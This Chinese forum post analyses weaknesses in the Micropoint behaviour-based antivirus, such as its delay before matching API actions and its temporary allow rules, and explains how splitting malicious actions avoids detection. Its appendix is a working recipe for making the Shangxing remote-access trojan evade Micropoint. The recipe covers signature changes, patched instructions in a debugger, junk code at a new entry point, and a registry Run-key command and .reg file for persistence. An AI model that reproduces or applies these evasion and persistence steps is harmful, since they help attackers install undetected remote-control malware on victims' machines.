绕过微点主动防御可行性的分析
来自:MACD论坛(bbs.macd.cn)
作者:govyvy
浏览:1872
回复:0
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
转载注明 http://hi.baidu.com/zqinyan/
微点的主动防御确实是一种对付免杀病毒,变种病毒,家族病毒乃至未知病毒的一种行之有效的方法。
此方法抛弃了传统的对比识别的落后局面 对于病毒编写者来说 无疑是巨大的打击
主动防御是对付病毒的杀手锏 那么是否就是完美的防御手段了呢?它都有那些特点呢?它是不是也有一些不足之处能够被恶意利用呢?
==========
1、在实际使用微点的过程中可以发现,在识别病毒时,微点总是在病毒已经运行了一会后,才弹出来提示框。也就是说,微点在拦截到某程序的前后一系列API动作后,需要将拦截到的动作与行为知识库中的记录进行对比,用以判断该程序是否为病毒。
也就是说从拦截程序的API动作到行为识别之间有一个时间差
2、通过大量实验可以得出 微点具有一个临时规则的功能 并且该功能生成的临时规则在计算机重启之前都能一直生效
用过微点的用户都知道,当微点通过主动防御发现一个病毒后,会有询问框出现,让用户选择是允许还是阻止,当选择阻止后,会出现询问框让用户选择是删除还是不删除。
不论是选择阻止/删除 还是 允许/不删除,微点都会将此选择添加为临时规则
如果是选择阻止/删除,那么在重启之前,遇到相同路径和hash值的文件都会阻止或者删除;如果是选择 允许/不删除,那么在重启之前,遇到相同路径和hash值的文件就都会放行
并且微点还会记录下父进程,如果同一父进程,第一次的操作没报,但是如果第二次的操作是有害的,那么如果在第二次选择删除的话,那么微点会把在第一次操作生成的文件连同父进程一起让用户选择删除。
这真是一个很神奇的功能 也许也是一个不足之处
3、微点之所以能够发现未知病毒 是建立在大量的对病毒行为分析的基础之上的
比如auto类病毒,都需要通过autorun.inf这个文件来运行,然后对系统进行破坏 那么一个程序 如果具有以下auto类病毒的常见动作 既可被微点报为auto病毒 哪怕这个病毒是微点还为收集到的 也就是未知的病毒
1、通过autorun.inf文件运行 2、向系统目录创建文件 3、向本地磁盘跟目录创建文件 4、修改一些注册表(如启动项 服务)
但是别忘了,微点是通过一系列动作的对比来确定是否为病毒的 所以这也是正规光盘在自启动时不会被报病毒的原因所在
那么,如果将病毒的一系列行为拆散,使之不能联贯;或者将动作减少,使之与行为分析库中的动作对不上号
那么 微点还能报病毒么? 事实是,对于这类单一的动作而言,微点不会报病毒,但是有可能会报危险动作(重要单一API动作报警)
===========
于是,可以结合以上所发现的不足之处 来绕过微点主动防御的监控。
可参见以下2贴
http://bbs.deepin.org/htm_data/207/0710/342647.html
http://bbs.kafan.cn/viewthread.php?tid=139077&extra=page%3D1
如以上贴中所录制的视频既是利用了上面所分析的不足之处
里面的那个vbs脚本的作用就在于无窗口运行spbic.exe (利用的第三点) 运行成功后,未等微点将拦截到的动作与行为库里的记录对比便立即重启(利用的第一点) 所以该病毒能够绕过微点的主动防御并存活下来
如果继续对该病毒的破坏动作进行修改,那么,重启之后 由于无法与现有行为库里的行为进行有效对比,那么微点也会对该病毒放行 (利用第三点)
希望微点官方能够设法弥补以上的不足之处。
=========================
附:对上兴的修改,过微点的主动防御(利用第三点)
上興是2007sp3 http://hi.baidu.com/98223上破解的這個
上興生成的時候什么都不要選 生成以后先改文件特征碼 0009B71D_00000001(通用的)
od載入 (內存地址或許會有不同吧 ..)
0049BADA E8 11F7FEFF call r_server.0048B1F0
0049BADF 33C0 xor eax,eax
0049BAE1 5A pop edx
0049BAE2 59 pop ecx
0049BAE3 59 pop ecx
0049BAE4 64:8910 mov dword ptr fs:[eax],edx
全部nop掉 這樣上興就不會生成服務(其實這是我一開始做的 ..)
0049BB0C E8 F7B6F6FF call <jmp.&kernel32.WinExec>
0049BB11 33C0 xor eax,eax
把 xor eax,eax改為int 21
在此處加花
0049C322
--------------------
xor eax,eax
pushad
popad
jmp 0049C28C
--------------------
0049C28C 是原入口點
用loadpe改入口點為0049C322
至此做出來的上興已經是可以過微點的殺毒模塊了(防火墻過不了)
而且上線和遠端控制也沒有問題
但是其本身不會添加任何啟動項 需要其余文件執行
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v spbat /t REG_SZ /d "c:\program files\common files\microsoft shared\msinfo\test.exe" /f 這命令來加入啟動項 這樣才能讓它在重啟后繼續運行
或者reg import 1.reg
1.reg的內容:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"test"="c:\\program files\\common files\\microsoft shared\\msinfo\\test.exe"
PS.对上兴的免杀来自深度 inerir |